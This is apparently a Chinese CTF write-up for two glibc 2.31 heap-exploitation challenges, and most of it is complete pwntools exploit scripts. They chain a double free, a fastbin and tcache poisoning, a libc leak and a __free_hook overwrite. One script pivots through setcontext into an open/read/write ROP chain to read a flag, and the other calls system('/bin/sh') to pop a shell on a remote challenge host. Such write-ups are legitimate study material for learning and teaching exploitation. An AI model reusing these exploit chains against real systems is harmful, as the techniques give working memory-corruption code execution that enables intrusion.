GLIBC 2.31
程序实现了三个功能add,load,delete
,其中add
只能分配0x500
一下的堆块,总共分配的堆块大小不超过0x1000
,分配的基本单位是一个node
,第一个值是buf
,第二个值表示next_chunk
,第三个值是flag
。load
是创建了一个全局的单项链表,通过node->next_chunk
也就是+0x10
的位置进行串联。在delete
的时候未清空next_chunk
的指针。通过delete,load,delete
可以制造double free
漏洞,并且在第二次delete
的时候会泄露出地址。
但是由于2.31
对tcache double free
进行了检查,这个题目没有办法进行修改其keys
,因此采用fastbin attack
的方法来做。覆写__free_hook
为magic gadget
的值,该gadget
的作用是将rdi
转移到rdx
中,并调用setcontext
,我们找到下面的gadget
mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax;
call qword ptr [rdx + 0x20];
# encoding=utf-8
from pwn import *
file_path = "./gun"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 0
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x1a1e)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('123.56.96.75', 30772)
libc = ELF('./libc-2.31.so')
one_gadget = 0x0
def add(size, content=b"\\\\n"):
p.sendlineafter("Action> ", "3")
p.sendlineafter("Bullet price: ", str(size))
p.sendafter("Bullet Name: ", content)
def delete(index):
p.sendlineafter("Action> ", "1")
p.sendlineafter("Shoot time: ", str(index))
def load(index):
p.sendlineafter("Action> ", "2")
p.sendlineafter("want to load?", str(index))
name = "lyyl"
p.sendlineafter("Your name: ", name)
for i in range(7):
add(0x68) # 0 - 6
for i in range(3):
add(0x10) # 7-9
add(0x28) # 10
add(0x420) # 11
add(0x28) # 12
add(0x28) # 13
load(13)
load(12)
load(11)
load(10)
delete(4)
add(0x68) # 10
add(0x68) # 11
add(0x68) # 12
add(0x28) # 13
load(10)
delete(4)
# p.recvuntil("Pwn! The bullet fired.")
p.recvuntil("Pwn! The ")
libc.address = u64(p.recvuntil("bullet fired", drop=True).strip().ljust(8, b"\\\\x00")) - 96 - 0x3f0 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address {}".format(hex(libc.address)))
for i in range(3):
p.recvuntil("Pwn! The ")
heap_base = u64(p.recvuntil("bullet fired", drop=True).strip().ljust(8, b"\\\\x00")) - 0x770 - 0x330
log.success("heap base {}".format(hex(heap_base)))
add(0x68) # 10
for i in range(3):
load(7 + i)
delete(3)
add(0x68) # 7
add(0x68) # 8
load(10)
load(7)
load(8)
for i in range(7):
load(i)
delete(11)
for i in range(7):
add(0x68)
p_rdi_r = 0x0000000000026b72 + libc.address
p_rsi_r = 0x0000000000027529 + libc.address
p_rdx_r12_r = 0x000000000011c371 + libc.address
p_rax_r = 0x000000000004a550 + libc.address
syscall = 0x0000000000066229 + libc.address
ret_addr = 0x0000000000025679 + libc.address
flag_str_address = heap_base + 0x7c0 + 0x140
frame_address = heap_base + 0x7c0
orw_address = heap_base + 0x738
read_orw_address = heap_base + 0x6f8
flag_address = libc.sym['__malloc_hook'] + 0x200
# 0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
magic = 0x0000000000154930 + libc.address
orw = flat([
p_rax_r, 2,
p_rdi_r, flag_str_address,
p_rsi_r, 0,
syscall,
p_rax_r, 0,
p_rdi_r, 3,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x40, 0,
syscall,
p_rax_r, 1,
p_rdi_r, 1,
p_rsi_r, flag_address,
p_rdx_r12_r, 0x40, 0,
syscall
])
read_orw = flat([
p_rax_r, 0,
p_rdi_r, 0,
p_rsi_r, orw_address,
p_rdx_r12_r, 0x200, 0,
syscall
])
payload = p64(0) + p64(frame_address) + p64(0)*2 + p64(libc.sym['setcontext'] + 61)
payload = payload.ljust(0xa0, b"\\\\x00") + p64(read_orw_address) + p64(ret_addr)
add(0x68, p64(libc.sym['__free_hook']) + read_orw + b"\\\\n") # 7
add(0x68) # 8
add(0x68) # 9
add(0x68, p64(magic) + b"\\\\n") # 10
add(0x150, payload.ljust(0x140, b"\\\\x00") + b"./flag\\\\x00".ljust(0x10, b"\\\\x00"))
load(11)
# gdb.attach(p, "b *$rebase(0x1a1e)")
delete(1)
p.sendline(orw)
p.interactive()
程序提供了三种功能add,show,delete
,函数漏洞的位置存在add
函数中,
看到当一开始输入一个超过限制范围的size
的时候,然后后面重新输入合适的size
的时候,并没有更新v2
,因此存在一个任意地址的一字节0
写入,当然这个地址偏移是两字节大小。
这里的利用方式就是提前进行一下堆布局,
通过任意地址写0
将top chunk size
改小。并且可以通过任意地址写0
覆写tcache
的fd
指针,指向fastbin
中堆块的中间位置这里即0x500
。申请到0x500
的堆块之后,再次申请一个特定大小的堆块,使得其能够触发malloc_consolidate
,并且切割之后放入unsorted bin
中的chunk
中存储libc
附近的地址的位置为0x500
,这样既可以泄露出libc
基址。如下
注意在申请0x500
大小的堆块的时候需要伪造0x530
堆块的size
位,一个原因是过堆块合并的判断,另一个原因就是为之后申请_free_hook
的堆块做准备。这里将size
伪造为0x31
大小。
此时申请0x30
大小的堆块,我们就获得了指向相同堆块的两个内存指针,可以构造double free
。但是这里对tcache double free
进行了检查,首先需要任意地址写0
覆写其keys
指针。构造tcache double free
,覆写__free_hook
为system
地址,释放带有/bin/sh
的堆块。
# encoding=utf-8
from pwn import *
file_path = "./easyheap"
context.arch = "amd64"
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF(file_path)
debug = 1
if debug:
p = process([file_path])
# gdb.attach(p, "b *$rebase(0x175A)")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
one_gadget = 0x0
else:
p = remote('123.56.96.75', 30774)
libc = ELF('./libc-2.31.so')
one_gadget = 0x0
def add(size, content=b"\\\\n"):
p.sendlineafter(">> ", "1")
p.sendlineafter("Size: ", str(size))
p.sendafter("Content: ", content)
def overflow(size, new_size, content=b"\\\\n"):
p.sendlineafter(">> ", "1")
p.sendlineafter("Size: ", str(size))
p.sendlineafter("Size: ", str(new_size))
p.sendafter("Content: ", content)
def show(index):
p.sendlineafter(">> ", "2")
p.sendlineafter("Index: ", str(index))
def delete(index):
p.sendlineafter(">> ", "3")
p.sendlineafter("Index: ", str(index))
def padding(size):
for i in range(7):
add(size)
for i in range(7):
delete(i)
add(0x80-0x40) # overflow chunk
delete(0)
for i in range(7):
add(0x58)
add(0x58) # 7
for i in range(5):
delete(i)
delete(6)
delete(7)
add(0x58)
overflow(0x60 + 0x58 +0x2, 0x58)
add(0x58)
delete(2)
delete(1)
delete(0)
add(0x58)
overflow(0x60 + 0x58 +0x3, 0x58)
add(0x58)
delete(0)
delete(1)
delete(2)
delete(5)
gdb.attach(p, "b *$rebase(0x175A)")
overflow(0x60+0x60+1, 0x58)
add(0x58, b"a"*0x28 + p64(0x31) + b"\\\\n") # 1
add(0x58, b"\\\\x00"*0x28 + p64(0x31) + b"\\\\n") # 2
add(0x28)
show(2)
p.recvuntil("Content: ")
libc.address = u64(p.recvline().strip(b"\\\\n").ljust(8, b"\\\\x00")) - 96 - 0x10 - libc.sym['__malloc_hook']
log.success("libc address {}".format(hex(libc.address)))
# gdb.attach(p, "b *$rebase(0x175A)")
add(0x28) # 4
delete(1)
delete(0)
delete(2)
overflow(0x98+2, 0x58, b"/bin/sh\\\\x00\\\\n") # 0
delete(4)
add(0x28, p64(libc.sym['__free_hook']) + b"\\\\n")
add(0x28)
add(0x28, p64(libc.sym['system']) + b"\\\\n")
delete(0)
p.interactive()